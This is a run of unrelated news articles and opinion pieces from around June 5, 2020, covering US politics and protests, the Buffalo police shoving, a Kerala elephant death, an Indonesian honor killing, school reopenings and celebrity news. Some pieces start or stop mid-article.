"I personally cannot listen to him on TV. There are a lot of times I would like to smack him and say, you know, your mother should have taught you better than to talk like that," Suzanne Sloane, 53, from Kalamazoo County, Mich., told ABC News in a follow-up interview. "I cringe ... I want a person who can stand up and support our values and support our country without getting down to a five-year-olds level of name-calling."



The Trump campaign did not respond to ABC News multiple requests for details about their strategy to bring this key demographic into the fold for the upcoming election.



Last year, the Trump campaign made its first major push for its "Women for Trump" coalition in August with a string of cross-country events to mobilize suburban women in key battleground states like Michigan, Pennsylvania and Ohio. The campaign launched the coalition focused on courting the women vote in July 2019.



Suburban women, in particular, represent a key voting demographic that was once the bedrock of the GOP but has been shifting away from the party in the Trump era.



In the 2018 midterms, when Democrats picked up 40 seats and the House majority, women accounted for 53% of voters, voting for Democratic House candidates by 60-39%. In 2019, in statewide and local contests in Virginia, Kentucky, Iowa and Pennsylvania, Republicans saw an erosion of support among suburban voters -- and women in particular -- allowing Democrats to overcome the allure of Trumpism. And the results were costly for Republicans.



This opposition could continue into 2020, and would be particularly damaging in battlegrounds across the electoral map, where a small shift in support could sway a state.



Trumps troubles compounded by a nation in crisis



With dual crises now at the forefront of Trump's presidency, most of the women over the age of 45 that ABC News spoke with in follow-up interviews view the unfolding events as ripely exposing the unsettling and disqualifying aspects of Trump.



"His whole way to address the COVID-19 has been, excuse me, a s--- show," Donna said.



"Trump has been doing a rotten job with health care as well as with the epidemic. We can only pray and hope and vote," Vath said.



Pamela Cooper, 62, from Kannapolis, N.C., which sits in the suburbs of Charlotte, is supporting Biden in the general election, after having voted Republican up until Trump, because she said, "I think that he is definitely promoting racism."



"The pandemic is scary enough without the rioting," she said. "The only way to fight all of this is with love and understanding and compassion...violence against violence never works. These are just scary, scary times and we need a new leader."



Lynda, a voter who decided not to give her last name, from Kent County, Mich., which covers Grand Rapids and its suburbs and sided with Trump by a three-point margin in 2016, said she is "not impressed with Trump. Ive got bitter feelings towards Trump. Im not happy with the way he has dealt with his power and neglected the American people."



He is sowing division, she said, at a time when the country is looking for comfort and solidarity.



"He's supposed to be uniting everybody, not dividing everybody. He is supposed to be taking care of us," she said. "I think Trump should be more focused on the White House, the American people and leave Twitter alone."



A rejection of Trump, in their words



But the election still all comes down to Trump.



For the most part, the interviews with these women revealed that many see the contest as a referendum on his administration and his leadership, with most saying their decision is fueled by, as Donna said, "a push against Donald Trump," rather than a pull towards Biden.



"If Biden is the only Democrat, I will vote for Biden," Lynda said. "I wish I had another option but I don't at the moment."



"There's nothing in particular about Biden," said Sarah Schrock, a self-identified independent that is currently registered as a Democrat to vote this year, from Lucas County, Ohio. "Hes the lesser of two evils."



"Id rather vote against Trump than sit out," she added.



One voter from Pima County, Ariz., Ruby, who refused to give her last name, casted her choice to pick Biden as binary, saying there is "only one reason" before adding, "Im voting against Trump." She does not identify with either party.



Rorie Baker, 70, from Orange County, Calif., which was a GOP stronghold in blue California until 2018, is casting her ballot for Biden since "hes the absolute opposite of Trump. Trump is an unbelievably incompetent man. He has no couth, no class."



But regardless of the outcome of the election, some of the women are deeply frustrated by the stark partisanship and discord rippling through the country.



"I'm more of a moderate," Sloane, the Trump-backer, said, "and I get left out."



"I just wish we had better choices," she lamented of 2020, before returning to 2016. "I'm frustrated that when the Republicans had 20 people to put out there, you had 20 people and no choice."



Copyright  2020, ABC Audio. All rights reserved.
Celebrated every year on June 5, World Environment Day, is the United Nation's (UN) primary channel that encourages worldwide awareness and action for the protection of our environment.

The campaign was first held in 1974 with the theme "Only One Earth" during the first day of the United Nations Conference on the Human Environment.

It has been a flagship campaign for raising awareness on emerging environmental issues from marine pollution, human overpopulation, and global warming, to sustainable consumption and wildlife crime.

The major objective of this day is celebrated every year to spread awareness and to remind people that they have a role to play in preventing the loss of biodiversity and preserving nature for our future.

The day is observed over 100 countries and each year, it has a new theme that governments, corporations, communities, NGOs, and celebrities adopt to advocate environmental causes. The theme for the year 2020 is - Celebrate Biodiversity. The theme for the year 2019 was 'Air pollution'.

Every year a different country hosts the event where the official celebrations take place. The focus on the host country helps highlight the environmental challenges it faces and supports worldwide efforts to address them. This year the day will be hosted in Colombia, in partnership with Germany.

Vice President Venkaiah Naidu greeted people on the occasion by saying, ''Let there be a new beginning on this World Environment Day. Together, we can secure the well-being of the people and the planet.''

Let there be a new beginning on this World Environment Day. Together, we can secure the well-being of the people and the planet. #WorldEnvironmentDay pic.twitter.com/nQFlaBYzfu  Vice President of India (@VPSecretariat) June 5, 2020

Vice President Naidu also said that keeping in view the ecological crisis that our planet faces today, we must enhance our efforts towards preserving biodiversity and restoring fragmented ecosystems, to not only fight climate crisis but also to ensure food security, water supply and safety of our people. He further called upon the people, governments and all other stakeholders to intensify their efforts for protecting nature and finding sustainable solutions in every sphere of life.
Kevin Foley

Sometimes, silence is a powerful communications tool. Sometimes, silence conveys far more than mere words can. Sometimes, silence says it all.

So it was at Canadian Prime Minister Justin Trudeaus news conference this week in Ottawa. A reporter asked him, "You've been reluctant to comment about the words and actions of the U.S. president. I'd like to ask you what you think about that. And, if you don't want to comment, what message do you think you're sending?"

It was a reference to the shocking events in Lafayette Park on June 1, when peaceful protesters and journalists were viciously attacked by armed police and military in order to make way for President Trumps disgraceful photo op in front of St. Johns Episcopal Church.

Twenty-one long seconds of silence followed.

"We all watch in horror and consternation what's going on in the United States," Trudeau finally said. "It is a time to pull people togetherit is a time to listen."

Some critics, most notably Russian Television, panned Trudeaus lengthy pause, but it spoke volumes about how our neighbor and loyal ally to the north views what is going on right now in America.

After Trump was widely criticized for hiding out in the White House as protesters massed in the park across the street, presidential adviser Hope Hicks reportedly came up with the idea of the church photo op, presumably in a lame attempt to portray the presidents strength.

But first, all those pesky demonstrators had to be removed, so flash grenades, pepper balls and brute force were wantonly applied at the direction of Attorney General Bill Barr. It reminded me of the scene in Dr. Zhivago, when the czar unleashes his sword-wheedling Cossacks on peaceful Russian protesters.

Trudeau admitted Canadians have their own problems with racial discrimination, but those 21 seconds of silence of his undoubtedly reflect how the rest of the peace-loving world regards the collapse of presidential leadership here.

***

Kevin Foley owns KEF Media in Atlanta.
Skaneateles, N.Y.  The old real estate adage of location, location, location, was definitely on the mind of Dr. Mary Price when she and her family were house hunting in 2014.

With four children, the ranch home at 66 East Elizabeth Street in Skaneateles was too good to be true.
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This May 27, 2020 photo shows elephants standing by a 15-year-old pregnant wild elephant who died after suffering injuries in Velliyar river, Palakkad district of Kerala. Indian police on Friday arrested one person for causing the death of the elephant which chewed a pineapple stuffed with firecrackers that went off in its mouth.(AP)

Kochi: The post-mortem report on the shocking death of an elephant in a river in Kerala has confirmed that the pregnant cow indeed had major wounds in its oral cavity, likely the result of a firecracker burst in its mouth.

Initial speculation by foresters said she had been fed, or herself ate, a pineapple stuffed with firecrackers, a practice commonly adopted by farmers.

Due to her wounds the pregnant cow elephant could not eat for more than of two weeks, and collapsed out of exhaustion in the Velliyar river in Malappuram district. The actual cause of her death was drowning, according to the post-mortem report.

The Kerala government today declared they have made an arrest of a man in the case, and are looking for others. They said they were still investigating whether the death was caused by farmers or poachers. It gave no further details of the arrest.

The death of the elephant, estimated to be 15 years old, has become controversial owing to partisan remarks made by a former union minister regarding the treatment of animals in Malappuram district. Many critics imputed that people in Muslim-majority Malappuram are less sensitive to animals.

The post-mortem report, and quoted by the news agency PTI, said, "The major and incapacitating wounds and injuries in the oral cavity caused localised sepsis and have (sic) most likely occurred following an explosive blast in the mouth.

"This resulted in excruciating pain and distress in the region and prevented the animal from taking food and water for nearly two weeks. Severe debility and weakness in turn resulted in the final collapse in water that led to drowning," said the preliminary report dated May 28, a day after the elephant died.

No bullet, snare or metallic or foreign object was found in any part of the carcass, the report said.

The postmortem procedure, performed at the Thiruvizhamkunnu Forest

Station under the Mannarkad forest division, also confirmed that

the cow elephant was pregnant. "Inside pelvic cavity enlarged uterus with a nearly two months foetus," it noted.

The report said there was extensive necrotic debris of several indistinguishable soft tissues, fully infested with maggots inside the mouth. Also, there were distinct fractures and erosions of major portions of the maxillary bones and medial portions of the mandible (the jaw bone) on both sides.

Externally, apart from the swollen appearance of the lower jaw and skin wounds, there was no other major wound or injury of significance on any other part of the body, it said.

Fruits stuffed with firecrackers, or bait bombs are commonly used by farmers in India, especially the southern states, to scare away wild boars.
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Linkedin Randy Mulyanto (Thomson Reuters Foundation) Jakarta, Indonesia  Fri, June 5, 2020 13:27 595 fc6853813033f564188675f8bdc5f431 2 National murder,murder-case,honor-killing,Indonesia,bantaeng,South-Sulawesi Free

Two Indonesian brothers will go on trial next month for the murder of their teenage sister in a so-called honor killing, police said on Tuesday, a rare case in the country that has prompted calls for action to protect women and girls.

The men are accused of killing the 16-year-old girl by attacking her with a machete and a wooden stick because they believed she had had sex outside marriage with a cousin, according to police in the Bantaeng Regency of Sulawesi island.

If convicted of premeditated murder, the brothers - aged 20 and 30 - could face the death penalty.

"The trial is expected to start in early July," local police chief Wawan Sumantri told the Thomson Reuters Foundation by phone.

"The investigation showed the motive ... was due to the family feeling ashamed," he said earlier, adding that the case had forced the remaining family to leave their home in the area due to the rejection of the local community.

So-called honor killings, which are more common in some parts of the Middle East and South Asia, are extremely rare in Indonesia, a Southeast Asian archipelago of 260 million people.

The United Nations estimates about 5,000 women are killed each year by family members over perceived damage to "honor" that can involve having a boyfriend, seeking a divorce or behaving in a way that is deemed inappropriate.

Socially conservative Indonesia has the world's eighth-highest number of child marriages, according to UN data, and the Bantaeng Regency case has sparked calls for public education campaigns to help end traditional practices that harm women and girls.

"The victim must be given justice," said Beka Ulung Hapsara, a commissioner at Indonesia's National Commission on Human Rights, a government-backed body.

"Local government and law enforcement officials must provide public education about existing traditions and eliminate them," he added.

In Pakistan in May, police arrested the cousin of two teenage sisters whom he is suspected of killing after a video of the girls kissing a man went viral on social media.

Thousands of incidents of violence against women perceived to have "damaged" family honor are reported in Pakistan each year and many more go unreported, rights groups say.

In Iran, a father's killing of his 14-year-old daughter over her relationship with a man caused widespread anger in the country last month, with President Hassan Rouhani urging lawmakers to work on a bill to prevent violence against women.
Many Reception, Year 1 and Year 6 pupils went back to school on Monday

FOR more than 10 weeks, Welford and Stockcross Primary Schools have been completely shut, with children of key workers heading to either Falkland or Hungerford Primary Schools.

On Monday, many pupils in Reception, Year 1 and Year 6 classes returned  with the children now working in bubbles to maintain social distancing.

Executive head teacher of both schools Katie Dickens said things had been really positive since reopening.

She said: Weve tried to keep things focused on safety and emotional, mental and physical wellbeing across the board  not just for the children, but for the staff as well.

Its been really positive since the children came back to school.

Weve kept everything low-key, keeping them outside a lot and doing the same material that the children who are home learning are doing.

Its about everybody buying into it and being on board.

Its not school as we know it, but its lovely to have people around again.

It was a similarly encouraging story at John Rankin Primary School where around 65 per cent of Reception, Year 1 and Year 6 students returned on Monday.

Headteacher Felix Rayner said: The most important thing for us is this school is more than just its buildings, its about relationships and about being part of this family.

Its been really challenging, but we are very lucky to have a brilliant team.

Although there are lots of different opinions over whether we should reopen, we pulled together and made it happen.

I want to stress how professionally challenging its been, but people have been wonderful  staff, families, children.

The children have been amazing since coming back, especially considering some of them have come back to teachers theyve never seen.

In North Hampshire, Woolton Hill Junior School has reopened for its Year 6 pupils, with around half returning to class and more expected to return next week.

At the beginning of each day, the students already have everything they need for the day at their desk, with break and lunch times staggered to keep groups distanced from one another.

Headteacher Lisa Rees also said it had been an incredibly positive atmosphere with the children adapting well to social distancing guidelines.

She said: Parents are noticeably positive and keep thanking us, and the children seem genuinely happy to be here.

For the staff who are with them, its really lovely for them to have their children back.

Its quieter, but the children are adapting really well.
A junior minister in South Sudan has resigned and accused President Salva Kiir of lacking interest to implement the 2018 peace agreement.



Deputy Interior Minister Mabior Garang was appointed in March when Mr Kiir re-appointed the then opposition leader, Riek Machar, under the terms of the agreement.



Mr Garang said the security situation in the country was worsening.



Communal violence in which hundreds have been killed in Bhar-el-Gazal, Equatoria, Upper Nile, Abyei, Greater Pibor and Rweng were linked to "dismal failure to implement the security arrangements" in the peace deal.



Mr Garang is the son of the late John Garang de Mabior.



The rivalry between President Kiir and Mr Machar triggered a civil war that killed thousands.

Source: bbc









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Two major cruise lines have set new dates for trips sailing out of Galveston after ceasing operations due to the novel coronavirus.

The pandemic forced Carnival Cruises to cancel trips through the end of July, but the cruise line has announced new dates for trips sailing out of Galveston beginning this August.
Visakhapatnam, June 5 : The Andhra Pradesh High Court on Friday granted permission to suspended government doctor Sudhakar Rao to leave the Government Hospital for Mental Health, where he was admitted on May 16 after the police allegedly manhandled him for creating nuisance on a city road.

Dealing with a habeas corpus petition filed by Sudhakar's mother Kaveri Bai, the high court allowed him to leave the hospital after informing the hospital superintendent.

The court granted the permission after Visakhapatnam Police informed the court that it has not arrested him. The Central Bureau of Investigation (CBI), which is currently probing the case of manhandling of the doctor by the police, also informed the court that it did not arrest him.

The court directed Sudhakar to cooperate with the CBI in the investigation.

Kaveri Bai said the high court has done justice by permitting Sudhakar to leave the hospital. "I have been saying from day one that my son has no mental problem, but the government was bent up on projecting him as someone who has lost mental balance," she said.

She said all the injustices meted out to her son were getting exposed one by one. She hoped that the CBI would also do justice to him.

Meanwhile, the CBI continued its investigations into the case on the direction of the high court. The investigating officials reached Narsipatnam and visited the Area Hospital where Sudhakar was serving as an anaesthetist. They checked the doctor's service records and gathered information from the hospital superintendent.

The CBI officials later questioned local municipal commissioner Krishnaveni about the meeting held in her office in early April. It was during this meeting that Sudhakar had raised the issue of shortage of masks and PPE kits for doctors treating Covid-19 patients. A video of his remarks during the meeting had become public, leading to his suspension.

The suspended doctor was allegedly manhandled by the police when he created nuisance on a road in Visakhapatnam on May 16. His hands were tied behind and he was dragged and bundled into an auto-rickshaw by the policemen. He was taken to the King George Hospital, where doctors found him in an inebriated condition. They also referred him to the Government Hospital for Mental Health.

The high court on May 22 ordered a CBI probe into the incident after some petitioners, who approached the court, alleged that the doctor was suspended, manhandled and humiliated for raising the issue of shortage of masks and PPE kits for doctors.

The high court had directed that a case be booked against the policemen involved and asked the CBI to submit its report to the court in eight weeks.
Even as the state permitted shops and markets, other than those selling essential items, to operate from Friday on odd-even basis, shopkeepers claimed that there were no clear guidelines in place. As a result, many shops remained open in the first half of the day, leading to huge crowds at markets and traffic on roads, as well as violation of social distancing norms.

I went to a stationery shop today. Though there were only three people, none of them were wearing masks nor were they following social distancing norms. Also, in our area, shops were open on both sides of the road, owing to which there were scores of public on the streets. Some were having tea and samosas. With the other institutions also set to open from June 8 onwards, the number of cases will only increase drastically, said a Ghatkopar resident, who did not wished to be named.

Haren Mehta, a member of traders body Akhil Ghatkopar Vyapari Mandal, said some of the customers who visited his garment store on Friday were even shopping for small celebrations.

There is no concept of essential or non-essential items anymore. After 70 days of lockdown, everything becomes essential because people have run out of things. But this odd-even concept can cause further losses to businessmen, who are already suffering from the past two months, said Mehta.

Shopkeepers in the western suburbs said that while larger showrooms that cater to ethnic and traditional wear saw only one or two customers on Friday, there were huge crowds at stationery, toys, shoes and hardware stores.

Consumers are unsure about when the situation will normalise. So they are stocking up stationery, games and toys to keep their children busy, as well as home clothes. However, party wear, cosmetics and imitation jewellery shops did not get a good response as consumers consider them as non-essential items in current scenario, said Shailesh Trivedi, who owns an ethnic wear showroom at Malad.

Trivedi added that for cloth and garment showrooms, it would be difficult to abide by sanitisation and distancing norms.

.
A Boeing 787 plane is seen at the Tianhe Airport in Wuhan, in Chinas central Hubei province on May 29, 2020. (Hector Retamal/AFP via Getty Images)

US Will Allow Limited Flights by Chinese Airlines, Not a Ban

The Trump administration said June 5 it will let Chinese airlines operate a limited number of flights to the United States, easing off from an earlier threat to ban the flights.

The decision came one day after China appeared to open the door to U.S. carriers United Airlines and Delta Air Lines resuming one flight per week each into the country.

The Transportation Department said it will let Chinese passenger airlines fly a combined total of two round-trip flights per week between the United States and China, matching the number of flights that Chinas aviation authority will allow for U.S. carriers.

United and Delta did not comment immediately on the latest development in the dispute between the two countries and how it will affect their plans. Both had hoped to offer more flights.

The dispute between Washington and Beijing over airline service has been building for weeks and is part of broader trade and diplomatic tension between the worlds two biggest economies.

In early January, there were more than 300 flights per week between the two countries, but international carriers reduced and then stopped flying to China as the CCP (Chinese Communist Party) virus pandemic devastated demand for air travel. United, Delta, and American Airlines suspended flights to China before mid-March.

Chinese airlines reduced but didnt eliminate their flights to the United States. They ran about 20 flights per week in February, and 34 by mid-March. Air China, China Eastern Airlines, China Southern Airlines, and Xiamen Airlines continue flying those routes.

Travel in both China and the United States has partly recovered in the past two months, although it remains far below 2019 levels. In May, United and Delta petitioned China to resume flights there, but received no response.

The Trump administration protested that Chinas refusal to grant access to U.S. airlines was unfair. The Transportation Department announced Wednesday that it would prohibit all passenger airline flights from China no later than June 16.

On Thursday, the Civil Aviation Administration of China said it would let more foreign airlines fly to China starting next week as anti-CCP virus controls are eased.

The order did not identify airlines, but appeared to limit United and Delta to one flight per week because they stopped flying to China before mid-March. American does not plan to return to China before October.

By David Koenig,

The Associate Press and Epoch Times staff contributed to this report.
Two officers from Buffalo police department were suspended late Thursday after footage of them shoving an elderly man spread on social media. The man, who was unarmed and clearly unthreatening to the officers, was seriously injured and taken to hospital. Buffalo police claimed he tripped and fell. Only the footage, which shows the man unconscious and bleeding from a head injury and one ear, forced the truth from them.

BREAKING: Buffalo's police commissioner orders immediate Internal Affairs investigation into this incident: 2 officers shoving an elderly man, who walked up to them, to the ground. @news4buffalo reports the man suffered a laceration & possible concussion

pic.twitter.com/qbTvXAAPLH  David Begnaud (@DavidBegnaud) June 5, 2020

Buffalo Police Department Captain Jeff Rinaldo told CBS News later Thursday night that "the Police Commissioner has immediately suspended two officers without pay in connection with the incident observed in the video." Rinaldo said the department has launched an internal affairs investigation. Buffalo Police originally told reporters in a summary of the protest that "one person was injured when he tripped and fell."

This is what they do when they know the cameras are rolling. Think what they do when they know they aren't.
Buffalo, New York officers suspended after a television crew captured one of them shoving the man to the ground.

Two police officers in Buffalo, New York, who were seen in a video shoving a 75-year-old protester to the ground on Thursday, are under investigation for potential criminal liability, a spokeswoman for the regions district attorney said on Friday.

The Erie County District Attorneys Office continues to investigate the incident captured on video outside City Hall Thursday evening that resulted in the injury of a protester, Kait Munro said in an emailed statement.

Munro said the investigation was into potential criminal charges.

The two officers were suspended after a television crew captured a police officer shoving the man, who then fell to the ground and cracked his head.

The video from WFBO of Thursday nights encounter, which happened near the conclusion of race protests over the death of George Floyd in Minnesota, quickly sparked outrage.

It showed an officer pushing a man who approached a line of officers clearing demonstrators from Niagara Square around the time of an 8pm curfew. The man falls backwards and hits his head on the pavement. Blood leaks out as officers walk past.

Mayor Byron Brown said in a statement the man, who has not been publicly identified, was in a serious condition. A hospital official said he was alert and oriented, Erie County Executive Mark Poloncarz tweeted on Friday morning.

Lets hope he fully recovers, Poloncarz said.

WARNING: GRAPHIC CONTENT Video shows police in Buffalo, New York, in riot gear shoving a white-haired man to the ground and appearing to march past him https://t.co/JOGKvQ5UNd pic.twitter.com/kCak153VH2  Reuters (@Reuters) June 5, 2020

The video immediately generated outrage, including among elected officials, despite lacking the racial element that made the death of Floyd, a Black man who died after a white police officer pressed a knee on his neck for several minutes, such a flashpoint.

The officer and the man in the Buffalo video both appear to be white.

Governor Andrew Cuomo endorsed the suspensions, tweeting that what was seen on video was wholly unjustified and utterly disgraceful, and added during a news briefing on Friday that the two officers should be fired.

The police commissioner suspended two police officers without pay, the mayor said.

Buffalo police initially said in a statement that a person was injured when he tripped & fell, WIVB-TV reported, but Captain Jeff Rinaldo later told the TV station an internal investigation was opened.

When I saw the video, certainly, it was incredibly distressing and very disappointing. You dont want to see anything like that, Brown told WIVB-TV on Friday.
France has 5,200 troops in West Africa, the most of any foreign partner and has worked militarily with Mali since the insurgency took root nearly a decade ago. (The U.S. Defense Department said last year that it was considering reducing troops in the region.)
Tourism is referred to as the engine driving the kingdoms economy, but with global travel halted during the pandemic, that engine is running on empty.

Thailands capital Bangkok was named the worlds most visited city in 2019.

With 40 million visitors  tourism is referred to as the engine driving the kingdoms economy.

But with global travel halted during the pandemic, that engine is running on empty.

Al Jazeeras Scott Heidler looks at the Thai governments plan to bring tourists back to Thailands cities and beaches.
Soldiers from the Utah National Guard load bags onto a KC-135R aircraft, bound for Washington, D.C. at the request of U.S. President Donald Trump amid civil unrest following the death in Minneapolis police custody of George Floyd, at Roland R. Wright Air National Guard Base, Salt Lake City, Utah, June 1, 2020.

Reuters

The huge presence of the National Guard in Washington, DC, amid protests over police brutality has sparked discussions of the Third Amendment to the US Constitution.

The Third Amendment essentially prohibits the government from forcing civilians to house troops without their permission. It's related to the experiences of colonists leading up to the Revolutionary War.

Though there are widespread concerns about the military presence in DC and elsewhere, legal experts are skeptical the Third Amendment will actually become an issue in the days ahead.

Visit Business Insider's homepage for more stories.

The Third Amendment is probably among the least discussed amendments to the US Constitution. But with the heavy presence of the National Guard in states across the country, as well as the nation's capital, it's become newly relevant in recent days.

Nationwide protests sparked by the brutal death of George Floyd in an incident involving Minneapolis police, in which an officer knelt on Floyd's neck for roughly eight minutes, have led the National Guard to be deployed to over half the country. As of Thursday, 4,500 National Guard troops from various states across the US have been deployed to Washington, DC alone, and some are being housed in local hotels. DC Mayor Muriel Bowser on Thursday said she wants out-of-state troops gone from the city.

Across the country, roughly 75,000 National Guard troops have been activated, including 32,400 "assisting law enforcement authorities to protect life, and to preserve property, peace, and public safety."

No active-duty troops have been called into DC to respond to the protests, but recent threats and rhetoric from President Donald Trump and the large presence of National Guard in the city has already sparked widespread concerns  including from House Speaker Nancy Pelosi. Earlier this week, Trump said he would deploy the military if governors and other local leaders failed to quell the unrest.

Story continues

"We are concerned about the increased militarization and lack of clarity that may increase chaos ... Congress and the American people need to know who is in charge, what is the chain of command, what is the mission, and by what authority is the National Guard from other states operating in the capital," Pelosi said in a letter to Trump on Thursday.

In this context, some journalists and others on social media have begun discussing the Third Amendment. Some of this appears to be tongue-in-cheek, but others have raised the possibility that constitutional issues could arise as a result of the military presence in DC.

Emily Read A Book M. Farris (@emayfarris) June 4, 2020

The Third Amendment, explained

The Third Amendment to the US Constitution states: "No Soldier shall, in time of peace be quartered in any house, without the consent of the Owner, nor in time of war, but in a manner to be prescribed by law."

Long story short, the government can't force civilians to house troops without their permission.

The amendment was largely inspired by the experiences of colonists leading up to the Revolutionary War. In 1765, the British parliament passed the Quartering Act, which required the colonies to provide British soldiers with housing, food, drink, and even transportation. The law, which made localities accommodate British troops "in local inns, livery stables, ale houses, victualing houses and the houses of sellers of wine," created a lot of tension between the soldiers and colonists. The Third Amendment was intended to prevent this from occurring in the newly established US.

Though serious concerns have been raised about Trump's handling of the George Floyd protests and the use of the military to squash domestic unrest, including consternation over methods of surveillance and other matters, legal experts are skeptical that the Third Amendment will become an issue in terms of the large National Guard presence.

"The Third Amendment remains an archaic and largely obsolete remnant of another era, and is unlikely to be an issue even with the thousands of guardsmen currently present in the DC area," Bradley Moss, a DC-based national security lawyer, told Insider.

"Unless the local military facilities in the DC area, to say nothing of hotels desperate for cash, run out of available space, there should be no need to force DC residents to house any of these military personnel," Moss added.

To this day, the Supreme Court has never cited the Third Amendment as the basis for a decision.

Read the original article on Business Insider
Sunrise host Samantha Armytage raised eyebrows on Friday while discussing the fact Prince Charles will not be attending his father Prince Philip's 99th birthday.

Charles was diagnosed with COVID-19 in mid-March but has since recovered. His father, being very old and with health issues, is at higher risk of dying from the virus.

Samantha, 43, remarked that if she were Philip, she would tell Charles to 'keep away from me, too'.

Comments: Sunrise host Samantha Armytage (left, with David Koch) raised eyebrows on Friday while discussing the fact Prince Charles will not be attending his father Prince Philip's 99th birthday

The segment began with newsreader Natalie Barr revealing how the 71-year-old prince had spoken about the personal impact of the pandemic on his family.

'Prince Charles has opened up about missing his family during the coronavirus lockdown in the UK,' she said.

'During an interview, he spoke about not being able to wait to hug his children, his grandkids and his friends once the pandemic is over. The future king also spoke about his first-hand experience battling the virus.'

Charles (pictured) was diagnosed with COVID-19 in mid-March but has since recovered. His father, being very old and with health issues, is at higher risk of dying from the virus. Sam remarked that if she were Philip, she would tell Charles to 'keep away from me, too'

Natalie explained that Charles also had not seen his father 'for a long time and won't be able to attend his 99th birthday next week'.

'I don't blame Philip. If Charles has had [coronavirus] and I was 99 I'd be saying, "Keep away from me too,"' Samantha said.

The Prince of Wales was diagnosed with coronavirus following a test by NHS doctors in March.

Fortunately, he only suffered 'mild' symptoms and carried on working throughout.

Royal sources said the prince was in 'good health' throughout his illness and his self-isolation lasted seven days 'in accordance with government and medical guidelines'.

Segment: The segment began with newsreader Natalie Barr (pictured) revealing how the 71-year-old prince had spoken about the personal impact of the pandemic on his family

Despite his mild symptoms, Prince Charles revealed in an interview on Sky News that his experience had helped him empathise with others during the pandemic.

He explained: 'I can't tell you how much I sympathise with the way that everyone has had to endure with this unbelievably testing and challenging time.

'I know that so many people have had the agony of losing their loved ones and the bewilderment and anxiety that surrounds everything.

'It is the most awful aspect of a pandemic like this, and yet we've seen at the same time people being quite remarkable and wonderful people in the National Health Service and all the other key workers who kept everything going.'
He lost followers on Twitter earlier this week for sharing a picture of a protester hugging a police officer during the Black Lives Matter protests.

And on Thursday, Hugh Jackman put on a brave face despite the backlash as he stepped out in New York with his wife, Deborra-lee Furness.

The 51-year-old Australian actor donned a face mask as he and Deborra-lee, 64, went for a walk near their apartment.

Putting on a brave face: Hugh Jackman stepped out with his wife, Deborra-lee Furness, in New York on Thursday, after he was slammed for sharing a picture of a protester embracing a police officer during the Black Lives Matter protests

Hugh wore a black T-shirt emblazoned with his Laughing Man Coffee company logo and a pair of shorts.

He teamed the look with navy sneakers and a brown Akubra hat.

Deborra-lee wore cropped black leggings with a T-shirt, and tied a sweater around her waist.

Casual: Hugh wore a black T-shirt emblazoned with his Laughing Man Coffee company logo and a pair of shorts

Hugh was slammed by fans earlier this week for sharing a photo to Twitter of a protester hugging a police officer following the death in custody of George Floyd.

The Wolverine star captioned the picture, which had been taken during a Black Lives Matter protester, with one word: 'Solidarity'.

Twitter users immediately hit out at Hugh, claiming he should instead be sharing pictures highlighting police brutality during the riots.

'This is so disappointing. You're helping to spread propaganda. If you want to share something, there's plenty of images and videos of protests from around the world that don't include PR opportunities for police officers,' one person tweeted.

Missing the point? Hugh was slammed by fans earlier this week for sharing a photo to Twitter of a protester hugging a police officer following the death in custody of George Floyd

'Jesus Christ, someone show me one celebrity that isn't a disappointment,' another commented.

A third wrote: 'I'm sorry but you can't post that if you aren't also sharing the videos of police brutality! The news is doing enough of sharing this bulls**t instead of what's actually going on. Peaceful protesters being attacked for no reason by the cops who are supposed to keep them safe.'

One disappointed follower tweeted: 'That's going to be an unfollow from me, man.'

Backlash: Twitter users immediately hit out at Hugh, claiming he should instead be sharing pictures highlighting police brutality during the riots. However, others praised the Wolverine star for sharing the photo and drawing attention to the good cops on duty at the protests

However, others praised Hugh for sharing the photo and drawing attention to the good cops on duty at the protests.

'Solidarity the way it should be. I support you. Stay safe,' one supporter wrote, while another added: 'Finally a message from a celebrity I can respect.'

Protests and riots have erupted across the U.S. in the days since George Floyd, an unarmed black man, died in Minneapolis last Monday after a white cop pressed his knee against his neck for eight minutes.

Floyd had been accused of using a counterfeit $20 bill at a deli.

One of the officers involved, Derek Michael Chauvin, has been charged with second-degree murder after footage of him forcefully restraining Floyd went viral.

The other three officers on the scene, Tou Thao, Thomas Lane and J. Alexander Kueng, have been charged with aiding and abetting second-degree murder.
Amy Cooper has got her dog back 10 days after she gave it up following a public outcry over her calling the police on a black man in Central Park.

In a video of the 25 May incident, Cooper claimed in a phone call to police that bird watcher Christian Cooper was threatening her life - after hed asked her to place a leash on her dog.

In addition to sparking widespread outrage over her racist behaviour towards Mr Cooper, she also faced accusations of animal cruelty after she was seen holding her dog in the air by its collar.

Following the incident, Ms Cooper, who was fired from her job at investment firm Franklin Templeton, surrendered her dog to Abandoned Angels Cocker Spaniel Rescue, which said in a statement at the time that the matter was being addressed.

Thank you to the concerned public for reaching out to us about a video involving a dog that was adopted from our rescue a few years ago, the animal rescue said. As of this evening, the owner has voluntarily surrendered the dog in question to our rescue while this matter is being addressed.

Abandoned Angels would like to express its gratitude for the outpouring of support regarding the dog that was recently... Posted by Abandoned Angels Cocker Spaniel Rescue, Inc. on Wednesday, June 3, 2020

According to an update shared by the animal rescue on Wednesday, it has since complied with the owner's request for return of the dog after it was promptly evaluated by our veterinarian, who found that he was in good health.

Abandoned Angels would like to express its gratitude for the outpouring of support regarding the dog that was recently placed in our custody, following release of a troubling video that was brought to our attention, the organisation wrote on Facebook. The dog was promptly evaluated by our veterinarian, who found that he was in good health. We have coordinated with the appropriate New York City law enforcement agencies, which have declined to examine the dog or take it into their custody.

Story continues

Accordingly, and consistent with input received from law enforcement, we have now complied with the owner's request for return of the dog.

The return of Coopers dog has been met with outrage on social media, where people have suggested that it is a "perfect example of white privilege".

Pretty sure choking your dog and getting it back a week later is an A1 example of white privilege, one person tweeted.

Another said: Lemme tell you how whiteness works: After intentionally trying to get a black man killed by filing a police report, Amy Cooper asked for her previously confiscated dog back. And got it.

Amy cooper getting her dog back after choking the poor animal is not shocking at all, its a perfect example of white privilege. If a POC did that they would never see that dog again. Please make it make sense! She shouldnt have gotten that dog back regardless of her request! pic.twitter.com/s7IW1vub8N  Chandni (@CRAJ1920) June 4, 2020

Among those expressing their disapproval over the return of Coopers dog was documentary filmmaker Ava DuVernay, who tweeted: She got the dog back. Of course, she did.

She got the dog back. Of course, she did. https://t.co/jLQbyA64n2  Ava DuVernay (@ava) June 4, 2020

Last week, the New York Police Department and Manhattan District Attorney said they were discussing potential false-threat charges against Cooper over the incident.

